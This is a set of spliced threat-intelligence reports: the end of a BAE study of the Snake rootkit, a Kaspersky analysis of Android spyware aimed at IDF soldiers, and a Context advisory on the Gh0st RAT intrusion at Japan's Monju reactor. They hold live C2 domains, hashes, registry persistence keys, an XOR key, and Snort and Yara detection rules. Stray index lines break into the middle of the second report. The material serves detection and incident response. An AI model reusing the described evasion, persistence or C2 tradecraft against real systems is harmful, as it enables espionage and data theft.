configuration files, such as mtmon.sdb, mtmon32.sdb, gstatsnd.bin, gstat.bin, gstat32.bin, and other log files found in the windows\NtUninstallQ[random] directory. By using this function the remote attacker can identify any potentially exploitable hosts located in the same network as the victim. The attacker may then craft an exploit against those hosts, possibly by using the Metasploit framework, and then deliver the generated shellcode back to the reconnaissance tool to be applied against the identified hosts by running the tool with the exp_os switch. If the tool successfully delivers the payload and exploits the remote host(s), it will replicate the infection across the network, taking control over new hosts, thus repeating the infection cycle all over again and spreading the infection further. Unlike traditional worm techniques, this process is rather manual, but its danger is in the fact that the attacker can flexibly craft new attack methods, adjusting them to the hosts present within the network, thus preying on the weakest (least updated, most vulnerable) victims along its path. 26BAE Systems Applied Intelligence: Snake Rootkit Report 2014 RELATIONSHIP TO AGENT.BTZ The cyber-espionage operation behind the Snake rootkit is well established, a sample comiled in January 2006 indicates that the activity would have begun in at least 2005. It is also sophisticated, using complex techniques for evading host defences and providing the attackers covert communication channels. Toolmarks left behind by the authors vlad gilg, leave tantalizing clues as to the personas behind this. From a technical perspective, Snake demonstrates two very different approaches to the task of building a cyber-espionage toolkit. One approach is to delegate the network communication engine to usermode code, backed up by a usermode rootkit. Another approach is to carry out all of the communications from the kernel-mode driver, which is a very challenging task by itself. The complexity of the usermode-centric approach is on par with Rustock rootkit - it uses similar techniques. Its an old well-polished technology that evolved over the years and demonstrated its resilience and survivability under the stress of security counter- measures. The complexity of the kernel-centric architecture of Snake is quite unique. This architecture is designed to grant Snake as much flexibility as possible. When most of the infected hosts are cut off from the outside world, it only needs one host to be connected online. The traffic is then routed through that host to make external control and data exfiltration still possible. The presence of the reconnaissance tool in the Snake operators framework suggests the existence of an arsenal of infiltration tools, designed to compromise a system, then find a way to replicate into other hosts, infect them, and spread the infection even further. As demonstrated, the backdoor commands allow Snake to provide remote attackers with full remote access to the compromised system. Its ability to hibernate, staying fully inactive for a number of days, makes its detection during that time very difficult. The analysed code suggests that even file system and registry operations can be delegated by an infected module to another module in order to stay unnoticed by behaviour analysis engines of the antivirus products, and to overcome account restrictions of the browser processes so that the injected module could still write into files and into the sensitive registry hives. The logs and dumps it creates on the hidden virtual volumes contributes to its stealthiness too. A great deal of attention has also been given to keep its network communications as quiet as possible. Its ability to generate malicious traffic whenever the user goes online and start loading the web pages allows it to blend in with the legitimate communications. We expect much more will be uncovered by researchers in the coming weeks as the capabilities of this operation are further fleshed out. However, as we implied in the opening section, we view this threat to be a permanent feature of the landscape. Whether they dismantle this toolset and start from scratch, or continue using tools which have been exposed, remains to be seen. For their targets though the considerable challenge of keeping secrets safe on sensitive networks will certainly continue for years to come. RECOMMENDATIONS Search logs for connections to Snakes command and control servers (see Appendix A) Search for MD5 hashes of the known samples (see Appendix B) Use Indicators of Compromise for building host-based rules (see Appendix C) Deploy SNORT rules for network based detection of Snake (see Appendix D) CONCLUSION As seen from the check-in logs found within one of the recent samples, the time span covers almost 6 years from January 2007 till December 2012, which is aligned with the first reports of Agent. BTZ. Its worth noting that Agent. BTZ used the same XOR key for its logs as the most recent variants: 1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s Log files created by the latest samples of Snake, compiled in 2013 and 2014, were successfully decrypted with the same XOR key. Other similarities include the usage of the virtual partition \\.\Vd1, the temporary file named FA.tmp, usage of files named mswmpdat.tlb, wmcache.nld, winview.ocx. 27BAE Systems Applied Intelligence: Snake Rootkit Report 2014 APPENDIX A Domain IP Address Country Contact Email Nameserver arctic-zone.bbsindex.com 124.248.207.50 HK abusedirectnic.com NS1.DTDNS.COM cars-online.zapto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM eunews-online.zapto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM fifa-rules.25u.com 124.248.207.50 HK abuseweb.com NS1.CHANGEIP.ORG forum.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM franceonline.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM freeutils.3utilities.com 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM health-everyday.faqserv.com 124.248.207.50 HK abuseweb.com NS1.CHANGEIP.ORG nhl-blog.servegame.com 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM olympik-blog.4dq.com 124.248.207.50 HK abuseweb.com NS1.CHANGEIP.ORG pockerroom.servebeer.com 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM pressforum.serveblog.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM scandinavia-facts.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM sportmusic.servemp3.com 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM stockholm-blog.hopto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM supernews.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM sweeden-history.zapto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM tiger.got-game.org 124.248.207.50 HK abuseweb.com NS1.CHANGEIP.ORG top-facts.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM weather-online.hopto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM wintersport.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM x-files.zapto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM forum.4dq.com 203.117.122.51 SG abuseweb.com NS1.CHANGEIP.ORG forum.acmetoy.com 203.117.122.51 SG abuseweb.com NS1.CHANGEIP.ORG marketplace.servehttp.com 59.125.160.178 TW domainsno-ip.com NF1.NO-IP.COM music-world.servemp3.com 80.152.223.171 DE domainsno-ip.com NF1.NO-IP.COM newutils.3utilities.com 80.152.223.171 DE domainsno-ip.com NF1.NO-IP.COM interesting-news.zapto.org 80.152.223.171 DE domainsno-ip.com NF1.NO-IP.COM north-area.bbsindex.com abusedirectnic.com NS1.DTDNS.COM academyawards.effers.com abusedirectnic.com NS1.DTDNS.COM cheapflights.etowns.net abusedirectnic.com NS1.DTDNS.COM toolsthem.xp3.biz supportfreewha.com NS2.FREETZI.COM softprog.freeoda.com supportfreewha.com NS1.ORGFREE.COM euassociate.6te.net supportfreewha.com NS1.6TE.NET euland.freevar.com supportfreewha.com NS1.UEUO.COM communityeu.xp3.biz supportfreewha.com NS2.FREETZI.COM swim.onlinewebshop.net abuseenom.com NS1.RUNHOSTING.COM july.mypressonline.com abuseenom.com NS1.RUNHOSTING.COM winter.site11.com abusegodaddy.com NS1.000WEBHOST.COM eu-sciffi.99k.org reportabuse.zymic.com NF1.99K.ORG 28BAE Systems Applied Intelligence: Snake Rootkit Report 2014 APPENDIX B MD5 Hash File Type FileSize Compile Time Notes Kernel-centric architecture f4f192004df1a4723cb9a8b4a9eb2fbf 32-bit driver 206 KB 2011-06-24 07:49:41 fdisk.sys, Ultra3.sys 626576e5f0f85d77c460a322a92bb267 32-bit dropper 1,669 KB 2013-02-04 13:19:21 fdisk_mon.exe 90478f6ed92664e0a6e6a25ecfa8e395 64-bit driver 584 KB 2013-02-04 13:17:56 fdisk.sys, Ultra3.sys 1c6c857fa17ef0aa3373ff16084f2f1c 32-bit driver 219 KB 2013-02-04 13:20:00 fdisk.sys, Ultra3.sys Usermode-centric architecture 973fce2d142e1323156ff1ad3735e50d 32-bit driver 673 KB 2013-08-29 07:34:54 msw32.sys, cmbawt.sys 2eb233a759642abaae2e3b29b7c85b89 32-bit DLL 416 KB 2013-07-25 05:58:47 dropped DLL Reconnaissance tool c82c631bf739936810c0297d31b15519 32-bit exe 176 KB 2013-03-27 08:25:43 wextract.exe Other analysed samples f293c9640aa70b49f35627ef7fb58f15 32-bit exe 294 KB 2014-01-28 16:05:32 2014 sample 440802107441b03f09921138303ca9e9 32-bit driver 428 KB 2014-01-24 10:13:06 2014 sample 6406ad8833bafec59a32be842245c7dc 32-bit driver 277 KB 2013-03-29 07:51:34 Ultra3.sys, Adaptec Windows Ultra3 Family Driver c09fbf1f2150c1cc87c8f45bd788f91f 32-bit DLL 404 KB 2013-03-28 06:49:36 dropped DLL mscpx32n.dll 5ce3455b85f2e8738a9aceb815b48aee 32-bit driver 280 KB 2013-03-29 07:44:26 Ultra3.sys, Adaptec Windows Ultra3 Family Driver b329095db961cf3b54d9acb48a3711da 32-bit DLL 412 Kb 2013-03-27 07:10:09 dropped DLL kbdsmfno.dll cfe0ef3d15f6a85cbd47e41340167e0b 32-bit dropper 363 KB 2012-12-18 08:22:47 mswint.exe,chset.exe b86137fa5a232c614ec5405be4d13b37 32-bit DLL 223 KB 2012-12-18 08:22:43 libadcodec.dll 47f554745ef2a48baf3298a7aa2937e2 32-bit DLL 42 KB 2012-12-18 08:21:06 oleaut32.dll ed785bbd156b61553aaf78b6f71fb37b 64-bit driver 435 KB 2011-06-24 07:47:59 A0009548.sys 1c18c3ef8717bb973c5091ce0bbf6428 32-bit exe 179 KB 2011-06-21 12:28:28 MSWAUDIT.EXE, utility 29BAE Systems Applied Intelligence: Snake Rootkit Report 2014 APPENDIX C Location Type Data Memory Event \BaseNamedObjects\B93DFED5-9A3B-459b-A617-59FD9FAD693E \BaseNamedObjects\shell. F21EDC09-85D3-4eb9-915F-1AFA2FF28153 \BaseNamedObjects\wininet_activate Memory Device \Device\RawDisk1 \Device\RawDisk2 \Device\vstor32 Memory Antirootkit findings unknown pages with executable code, that cant be mapped to any driver presence of custom interrupt 0xC3 along with multiple hooks hidden drivers Ultra3, ROOT, hidden file fdisk.sys File system Volume \\.\Hd1 \\.\Hd2 \\.\vd1 Registry Key HKLM\System\CurrentControlSer\Services\Ultra3 HKLM\System\CurrentControlSer\Services\ROOT File system File windows\NtUninstallQ[random]\mtmon.sdb windows\NtUninstallQ[random]\mtmon_.sdb windows\NtUninstallQ[random]\scmp.bin windows\NtUninstallQ[random]\ucmp.bin windows\NtUninstallQ[random]\isuninst.bin windows\NtUninstallQ[random]\mswmpdat.tlb windows\NtUninstallQ[random]\wmcache.nld windows\NtUninstallQ[random]\SPUNINST\Temp system\vtmon.bin windows\NtUninstallQ817473\hotfix.dat windows\NtUninstallQ817473\fdisk.sys windows\NtUninstallQ817473\fdisk_mon.exe windows\NtUninstallQ817473\rkng_inst.exe Memory Named Pipe \\.\Pipe\SP[COMPUTERNAME] \\.\Pipe\UP[COMPUTERNAME] \\.\Pipe\isapi_http \\.\Pipe\isapi_log \\.\Pipe\isapi_dg \\.\Pipe\services_control 30BAE Systems Applied Intelligence: Snake Rootkit Report 2014 Canditate SNORT rules: alert tcp EXTERNAL_NET HTTP_PORTS - HOME_NET any (msg:Snake rootkit, usermode-centric encrypted command from server content:01 00 00 00 00 00 00 001dM3uu4j7Fw4sjnb content:HTTP/1.1 200 OK flow:to_client, established sid:1000010) alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:Snake rootkit, usermode-centric client request content:/1/6b- 558694705129b01c0 content:Connection: Keep-Alive0d 0a flow:to_server,established sid:1000011) APPENDIX D Copyright BAE Systems 2014. All rights reserved. BAE SYSTEMS, the BAE SYSTEMS Logo and the product names referenced herein are trademarks of BAE Systems plc. BAE Systems Applied Intelligence Limited registered in England Wales (No.1337451) with its registered office at Surrey Research Park, Guildford, England, GU2 7RQ. No part of this document may be copied, reproduced, adapted or redistributed in any form or by any means without the express prior written consent of BAE Systems Applied Intelligence. FOR MORE INFORMATION CONTACT: BAE Systems Applied Intelligence E: marketingaibaesystems.com W: www.baesysytems.com/ai 265 Franklin Street Boston MA 02110 USA T: 1 (617) 737 4170 Unit 2B-12-1 Jalan Stesen Sentral 5 Kuala Lumpur Sentral Kuala Lumpur, 50470 T: 603 2780 2052 AUSTRALIA UK US Surrey Research Park Guildford Surrey, GU2 7RQ United Kingdom T: 44 (0) 1483 816000 Dubai Internet City Building 17 Office Ground Floor 53 PO Box 500523 Dubai T: 971 4369 4369 Level 6 62 Pitt St Sydney NSW 2000 Australia T: 61 (0) 1300 027 001 MALAYSIA DUBAI Breaking The Weakest Link Of The Strongest Chain securelist.com /blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/ Around July last year, more than a 100 Israeli servicemen were hit by a cunning threat actor. The attack compromised their devices and exfiltrated data to the attackers command and control server. In addition, the compromised devices were pushed Trojan updates, which allowed the attackers to extend their capabilities. The operation remains active at the time of writing this post, with attacks reported as recently as February 2017. The campaign, which experts believe is still in its early stages, targets Android OS devices. Once the device is compromised, a process of sophisticated intelligence gathering starts, exploiting the ability to access the phones video and audio capabilities, SMS functions and location. The campaign relies heavily on social engineering techniques, leveraging social networks to lure targeted soldiers into both sharing confidential information and downloading the malicious applications. Characterized by relatively unsophisticated technical merit, and extensive use of social engineering, the threat actor targets only IDF soldiers. IDF C4I the IDF Information Security Department unit, with Kaspersky Lab researchers, have obtained a list of the victims among them IDF servicemen of different ranks, most of them serving around the Gaza strip. Attack Flow The operation follows the same infection flow across the different victims: Figure 1: Campaigns attack flow Social Engineering The threat actor uses social engineering to lure targets into installing a malicious application, while continuously attempting to acquire confidential information using social networks. Weve seen a lot of the groups activity on Facebook Messenger. Most of the avatars (virtual participants in the social engineering stage) lure the victims using sexual innuendo, e.g. asking the victim to send explicit photos, and in return sending fake photos of teenage girls. The avatars pretend to be from different countries such as Canada, Germany, Switzerland and more. 1/6 https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/ https://cdn.securelist.com/files/2017/02/weakest_eng_1.png https://cdn.securelist.com/files/2017/02/weakest_eng_2.png https://cdn.securelist.com/files/2017/02/weakest_eng_3.png https://cdn.securelist.com/files/2017/02/weakest_eng_4.png https://cdn.securelist.com/files/2017/02/weakest_eng_5.png https://cdn.securelist.com/files/2017/02/weakest_eng_6.png Dropper After the victim downloads the APK file from the malicious URL, the attacker expects the victim to install the package manually. The dropper requires common user permissions as shown in the following screenshot. Figure 2: Dropper permissions once installed on a victim mobile device Key features The dropper relies on the configuration server which uses queries in order to download the best fitting payload for the specified device. Downloader Watchdog of the main payload Payload update mechanism Customized payload the dropper sends a list of installed apps, and receives a payload package based on it Obfuscation The dropper package is obfuscated using ProGuard, which is an open source code obfuscator and Java optimizer, observed in the LoveSongs dropper. Network Protocols The network protocol between the dropper and the configuration server is based on HTTP POST requests. The following servers implement a RESTful API: LoveSongs http://endpointup[. ]com/update/upfolder/updatefun.php YeeCall, WowoMessanger http://droidback[. ]com/pockemon/squirtle/functions.php Figure 3: Communication with CC server over HTTP Most of the communication with the server is in clear-text, except for specific commands which are encrypted using an AES- 128 hard coded-key. 2/6 Figure 4: WowoMessanger REST-API POST packet capture Figure 5: Fake WowoMessanger app logic flow Along with an ID existence check, the dropper sends a list of the devices installed apps if it hasnt done so already. The flow between different variants of the dropper is similar, with minor changes. One variant pretends to be a YouTube player, while others are chat apps: LoveSongs has YouTube player functionality, whereas WowoMessanger does not have any legitimate functionality whatsoever it erases its icon after the first run. Payload The payload is installed after one of the droppers mentioned above has been downloaded and executed on the victim device. The only payload we have seen so far is WhatsApp_Update. The payload is capable of two collection mechanisms: Execute On demand commands manual commands that are triggered by the operator Scheduled process scheduled tasks that collect information periodically from various sources. 3/6 Most of the collected data will be sent only when a WI-FI network is available. CC Commands The payload uses the WebSocket protocol, which gives the attacker a real-time interface to send commands to the payload in a way that resembles reverse shell. Some of the commands are not yet implemented (as shown in the table below).
233
IOCs Domain names APK hashes androidbak[.
49,020
49,377
358
data/reports_final/0233.txt
IOCs Domain names APK hashes androidbak[. ]com droidback[. ]com endpointup[. ]com siteanalysto[. ]com goodydaddy[. ]com 10f27d243adb082ce0f842c7a4a3784b01f7248e b8237782486a26d5397b75eeea7354a777bff63a 09c3af7b0a6957d5c7c80f67ab3b9cd8bef88813 9b923303f580c999f0fdc25cad600dd3550fe4e0 0b58c883efe44ff010f1703db00c9ff4645b59df 0a5dc47b06de545d8236d70efee801ca573115e7 782a0e5208c3d9e8942b928857a24183655e7470 5f71a8a50964dae688404ce8b3fbd83d6e36e5cd 03b404c8f4ead4aa3970b26eeeb268c594b1bb47 Certificates SHA1 fingerprints 10:EB:7D:03:2A:B9:15:32:8F:BF:68:37:C6:07:45:FB:DF:F1:87:A6 9E:52:71:F3:D2:1D:C3:22:28:CB:50:C7:33:05:E3:DE:01:EB:CB:03 44:52:E6:4C:97:4B:6D:6A:7C:40:AD:1E:E0:17:08:33:87:AA:09:09 67:43:9B:EE:39:81:F3:5E:10:33:C9:7A:D9:4F:3A:73:3B:B0:CF:0A 5/6 https://sas.kaspersky.com 89:C8:E2:E3:4A:23:3C:A0:54:A0:4A:53:D6:56:C8:2D:4A:8D:80:56 B4:D5:0C:8B:73:CB:A9:06:8A:B3:F2:49:35:F8:58:FE:A2:3E:2E:3A 6/6 Breaking The Weakest Link Of The Strongest Chain Attack Flow Social Engineering Dropper Key features Network Protocols Payload CC Commands Scheduled Process Conclusions IOCs Domain names APK hashes Certificates SHA1 fingerprints TLP: WHITE Context Information Security TLP: WHITE E Context Threat Intelligence Threat Advisory The Monju Incident Context Ref. TA10009 Author Context Threat Intelligence (CTI) Date 27/01/2014 Tel 44 (0) 20 7537 7515 Fax 44 (0) 20 7537 1071 Email threatcontextis.co.uk mailto:technicalcontextis.co.uk TLP: WHITE TLP: WHITE Page 2 / 11 Contents 1 Distribution 3 2 Executive Summary 4 3 The Monju Incident 5 3.1 Infection Vector 5 3.2 Malware 6 3.2.1 Overview 6 3.2.2 Detection 8 4 Appendix A File Metadata 9 TLP: WHITE TLP: WHITE Page 3 / 11 1 Distribution Context Information Security distribute Context Threat Intelligence (CTI) reporting under the Traffic Light Protocol (TLP)[1], a method of classifying a document in order to promote the distribution of sensitive information between individuals, organisations or communities in a controlled and trusted way, based on the originators wishes. The various levels of the TLP are represented by the following colours: RED - Personal for named recipients only Sources may use TLP: RED when information cannot be effectively acted upon by additional parties, and could lead to impacts on a partys privacy, reputation, or operations if misused. Recipients may not share TLP: RED information with any parties outside of the specific exchange, meeting, or conversation in which it is originally disclosed. TLP: RED information will be passed verbally or in person. AMBER - Limited Distribution Sources may use TLP: AMBER when information requires support to be effectively acted upon, but carries risks to privacy, reputation, or operations if shared outside of the organisations involved. Recipients may only share TLP: AMBER information with members of their own organisation who need to know, and only as widely as necessary to act on that information. GREEN Community Wide Sources may use TLP: GREEN when information is useful for the awareness of all participating organisations as well as with peers within the broader community or sector. Recipients may share TLP: GREEN information with peers and partner organisations within their sector or community, but not via publicly accessible channels such as publication or posting publicly on the Internet. - Unlimited Distribution Sources may use TLP: WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP: WHITE information may be distributed freely, without restriction. 1 http://www.oecd.org/dataoecd/25/10/40761118.pdf http://www.oecd.org/dataoecd/25/10/40761118.pdf TLP: WHITE TLP: WHITE Page 4 / 11 2 Executive Summary On 2nd January 2014 a Systems Administrator at the Monju fast breeder reactor facility in Japan noticed suspicious connections emanating from a machine in the control room, coinciding with what was a seemingly routine software update to a free media player. Among other items, staff training documents and more than 40,000 emails were stored on the machine and thought to be harvested by the attacker. The Japanese Atomic Energy Agency is investigating further. The attack appears to have been the result of the attackers having compromised the GOM Player update server and having it act as a watering hole, meaning that machines which access the site are delivered malware. Gom Player originates in South Korea and in some parts of Asia it is a popular alternative to Windows Media Player. It is unclear whether every machine trying to download an update received this malware or whether only machines which fitted a certain profile were infected. Technical analysis of the implant on the compromised machine has shown it to be a variant of a Trojan which has been in the wild for some years now and continues to be effective. The Gh0st RAT has been used extensively in attacks linked to the Chinese state, though it is important to remember that the code is publicly available and can be modified and used by anyone. The targeting of a Japanese nuclear facility however, is consistent with Chinese state intelligence requirements. If this is the work of a Chinese group then we feel the targeting may go much further than the Civil Nuclear sector and thus be of interest to the wider Energy Sector and industry as a whole. In order to inform the Energy Sector and beyond about this attack, we have compiled a technical summary of the attack and have provided a number of Indicators Of Compromise (IOCs) which can be used to aid detection. It is likely that the attackers would redeploy their implant against other targets, albeit with a delivery mechanism more tailored to the location of the intended victims. TLP: WHITE TLP: WHITE Page 5 / 11 3 The Monju Incident 3.1 Infection Vector Based on open source reporting, it appears that the intrusion took place via the compromise of the GOM Player update server (app.gomlab.com), where attackers may have gained entry via a PHP-based webshell, hidden within an image, present on the host since October 2011[2]. The observed malicious activity relates to the modification of a file that controls GOM Player updates, spanning the date range 27th December 2013 to 16th January 2014, during which time these alterations are reported to have only manifested themselves for visitors on certain IP ranges evidence supporting this claim has not yet been made public. If this was indeed the case, then the nature of this attack is certainly more targeted than one that would cover the entire userbase of the GOM Player product, with victims comprising of the Japanese Government in addition to those at the Monju nuclear facility. The modified file redirected the GOM Player update process to another compromised server (www.fudousankaitori.jp (203.189.101.35)), where a file containing both the legitimate update and the malware was deliver to the victim. Victim app.gomlab.com www.fudousankaitori.jp GOM Player Update Request Modified Update URL testqweasd.tk GOM Update Download Request GOM Player and Malware 1 2 Malware Command And Control 3 Key Attacker Infrastructure Compromised Server A diagram illustrating the modified flow of the GOM Player update process which led to the compromise 2 http://hummingbird.tistory.com/5187 http://hummingbird.tistory.com/5187 TLP: WHITE TLP: WHITE Page 6 / 11 3.2 Malware 3.2.1 Overview Deployed to the system via a compressed bundle containing the official GOM Player setup binary and a self-extracting RAR archive containing the malicious files, the malware consists of a number of individual pieces. Upon extraction from the RAR archive, the installer component (0ae82fd94836815a1e8d284ccb75109d) is automatically launched alongside the GOM Player update, distracting victims from the malicious activity taking place. The installer component is referred to by the author as miansha which, according to an East Asia Cyber Threat Intelligence Researcher, is likely Minsh (), a phrase commonly used by Peoples Republic of China (PRC) hackers to mean anti Antivirus detection or Antivirus avoidance Symantec[3] have named the detection for this code Backdoor. Miancha, where Minch (, likely shorthand for ) similarly means Antivirus avoidance. The installer is responsible for the malware persistence mechanism, adding entries to the registry in the following locations, depending on Windows Version: Miancha Persistence Registry Keys Windows Vista and later HKEY_USERS\.default\Software\Classes\CLSID\ECD4FC4D- 5213-11D0-B792-00A0C90312E1\InProcServer32\ expand:C:\WINDOWS\temp\install.ocx Prior to Windows Vista HKEY_USERS\.default\Software\Classes\CLSID\B12AE898- D056-4378-A844-6D393FE37956\InProcServer32\ expand:C:\WINDOWS\temp\install.ocx The installer will also determine the system architecture (32- or 64-bit) and then deobfuscate the relevant loader DLL to the path C:\Windows\temp\install.ocx, ensuring the malware is launched on system start-up. Oddly, this file is padded with null bytes, resulting in a 25 megabyte file. Repackaged Update GoMPLAYERJPSETUP.EXE (a9225e059d9dace1b259bceec7f48dae) Real GOM Player Installer GOMPLAYERJPSETUP_JP.EXE (1ff3b3628e40f0215afacf482ba17782) Self-extracting RAR Archive containing Malware GOMPLAYERBETASETUP_JP.exe (db79a93448acac8786581858f3edc36a) Malicious Installer install.exe (0ae82fd94836815a1e8d284ccb75109d) Obfuscated Implant Code instructions.pdf (569071c45f47b7fb7a75f30bc07d5739) instructions64.pdf (55474f8e26f2b6fc3b5d78ce9a77b0b0) Obfuscated Malware Loaders dll.tmp (d5548e1913950a42a04debcac4222bd2) dll64.tmp (01f7b465242237bd3d31d39767aa68e0) The deployment chain of the Miancha Gh0st variant 3 http://www.symantec.com/security_response/writeup.jsp?docid2014-012407-3922-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-012407-3922-99 TLP: WHITE TLP: WHITE Page 7 / 11 The main implant code is stored in files named instructions.pdf and instructions64.pdf not PDF documents but instead DLLs obfuscated with a one-byte XOR with 0x14, similar to the malware loader DLLs. The loader, referred to by the malware author as (shell), reads and deobfuscates the main implant code which then communicates with the attacker-controlled server at testqweasd.tk (211.43.220.89) on TCP port 443. The main implant code is referred to as (Black on White), a term used in the PRC hacking community to denote the act of Antivirus avoidance through the loading of malicious black code via non-malicious or trusted white code. This is a practice recently illustrated through the deployment of the PlugX trojan, utilising DLL load order hijacking alongside a signed (trusted) executable. Analysis of this malware revealed it to be a variant of the Gh0st RAT, often used by Chinese actors (including those who are state-motivated or directly state-sponsored). This specific variant shows similarities to that used during the VOHO campaign[4], where Gh0st RAT was spread via watering hole attacks utilising vulnerable websites belonging to financial services and technology companies. Specifically, the initial five bytes of the communications (often used to denote a campaign or victim) are HTTPS, amended from the original Gh0st the same as the traffic produced by the VOHO Gh0st variant. In addition to delivering system-specific details back to the attacker, Gh0st RAT provides the capability to deploy additional malware, enabling the harvesting of sensitive data and enabling the further propagation throughout the infected network. 4 https://blogs.rsa.com/voho-apt-campaign-update/ https://blogs.rsa.com/voho-apt-campaign-update/ TLP: WHITE TLP: WHITE Page 8 / 11 3.2.2 Detection To enable rapid response, the following Snort signature can be deployed: alert tcp HOME_NET any - EXTERNAL_NET 53,80,443,1080 (msg:gh0st RAT HTTPS variant (aka Backdoor. Miancha) flow:established,to_server content:HTTPS depth:5 rawbytes classtype:trojan-activity sid:xxx rev:1) Additionally, the following Yara signature should identify both encoded payloads and the active implant in memory: rule Trojan_W32_Gh0stMiancha_1_0_0 strings: 0x 57 5b 5a 5a 51 57 40 34 31 67 2e 31 70 34 5c 40 40 44 3b 25 3a 19 1e 5c 7b 67 60 2e 34 31 67 2e 31 70 19 1e 55 77 77 71 64 60 2e 34 3e 3b 3e 19 1e 57 7b 7a 60 71 7a 60 39 40 6d 64 71 2e 34 60 71 6c 60 3b 7c 60 79 78 19 1e 44 66 7b 6c 6d 39 57 7b 7a 7a 71 77 60 7d 7b 7a 2e 34 5f 71 71 64 39 55 78 7d 62 71 19 1e 57 7b 7a 60 71 7a 60 39 78 71 7a 73 60 7c 2e 34 24 19 1e 19 1e 1 5c e7 99 bd e5 8a a0 e9 bb 91 5c 1x 48 f3 8d a9 f1 9e b4 fd af 85 48 2 DllCanLoadNow 2x 50 78 78 57 75 7a 58 7b 75 70 5a 7b 63 3x 5a 61 79 76 71 66 34 7b 72 34 67 61 76 7f 71 6d 67 2e 34 31 70 4 JXNcc2hlbGxcb3Blblxjb21tYW5k 4x 5e 4c 5a 77 77 26 7c 78 76 53 6c 77 76 27 56 78 76 78 6c 7e 76 26 25 60 4d 43 21 7f 5 SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA 5x 47 51 52 47 46 52 70 56 41 7f 42 77 46 51 42 40 45 25 5e 5e 41 52 46 5e 40 24 21 77 41 27 78 6e 70 53 42 60 4c 51 5a 78 76 7a 46 6d 4d 43 6c 45 77 79 2d 7e 4e 4c 5a 6e 76 27 5e 77 59 55 29 29 6 C:\\Users\\why\\ 6x 57 2e 48 41 67 71 66 67 48 63 7c 6d 48 7 g:\\ykcx\\ 7x 73 2E 48 6D 7F 77 6C 48 8 (miansha) 8x 3C 79 7D 75 7A 67 7C 75 3D 9 server(\xE5\xA3\xB3) 9x 7C 2E 48 26 24 25 27 3A 25 25 3A 26 21 48 67 71 66 62 71 66 3C F1 B7 A7 3D 48 46 71 78 71 75 67 71 48 67 71 66 62 71 66 3A 64 70 76 cfgDecode 8a ?? ? ? 80 c2 7a 80 f2 19 88 ?? ? ? 41 3b ce 7c ? ? condition: any of them TLP: WHITE TLP: WHITE Page 9 / 11 4 Appendix A File Metadata Gh0stMiancha Installer MD5 0ae82fd94836815a1e8d284ccb75109d SHA1 bcba2a4d55d860f0bca3b9f80a5deb2dd69f000c SHA256 b2f9e2f7c07235a6ea03e90ba591f0a43d38d8ff8ee6583473b6fbb63831619d Size (bytes) 13314 Compile Time 2013-11-22 12:19:48 UTC In-the-wild Filenames install.exe PDB String g:\ykcx\install(miansha)\Release\install.pdb Obfuscated TrojanLoader:W32/Gh0stMiancha MD5 d5548e1913950a42a04debcac4222bd2 SHA1 ac48bc2deefd30dad762a23e85409a7eec48b723 SHA256 3d43f7fab3c8f574e2790c2d97f85fa87f0d53e412c995462e53348b4fc34b74 Size (bytes) 10299 Compile Time N/A In-the-wild Filenames dll.tmp TrojanLoader:W32/Gh0stMiancha MD5 04e7361323b431f7c9f86388f316bbea SHA1 e3c095c7ace563b41b3f4310f3de69e47c86fd03 SHA256 73ef70f1e80e32341eebcb3b1084cf896f6b1aa701b7a6c7abcb9293500d84ae Size (bytes) 10299 Compile Time 2013-11-26 09:34:10 UTC In-the-wild Filenames install.ocx PDB String h:\2013.11.25\server()\Release\server.pdb Obfuscated TrojanLoader:W64/Gh0stMiancha MD5 01f7b465242237bd3d31d39767aa68e0 SHA1 db4ec59bf7f34a21f9dc7f2ded68c616f7c0fe47 SHA256 ed39c1d86ff8cfe18ef58e850d205a678d255150324b00661b91448173c94900 Size (bytes) 12347 Compile Time N/A In-the-wild Filenames dll64.tmp TrojanLoader:W64/Gh0stMiancha MD5 008fbd0fde06edb31fc7eecdae1a3030 SHA1 b9ae0a079cd1dae96425ced4bb96ba0f71c87a7a TLP: WHITE TLP: WHITE Page 10 / 11 SHA256 cc8d38d3cc214ff3ad10d6859a88e018b1f7e0ed6df7d04a6f4368bda851ba14 Size (bytes) 12347 Compile Time 2013-11-26 11:47:39 UTC In-the-wild Filenames install.ocx PDB String C:\Users\why\Desktop\server()\x64\Release\server.pdb Obfuscated Trojan:W32/Gh0stMiancha MD5 569071c45f47b7fb7a75f30bc07d5739 SHA1 540bb9d2dee8f4e10e5ae0a5cc900b346a57a198 SHA256 8a00b2aefdcd0bb22013bbe9c7941fa16af8246e545e1522622006b9c88ca716 Size (bytes) 169019 Compile Time N/A In-the-wild Filenames instructions.pdf Trojan:W32/Gh0stMiancha MD5 916b1a07efb145c450b4c13540be6c3e SHA1 7984639beb4e9870301d3b44a68b4346f9a6b826 SHA256 f26c2e9bee680f8e4d7afd73e2984a6697263334d2f0049a40e050d75293035e Size (bytes) 169019 Compile Time 2013-12-06 08:08:28 UTC In-the-wild Filenames 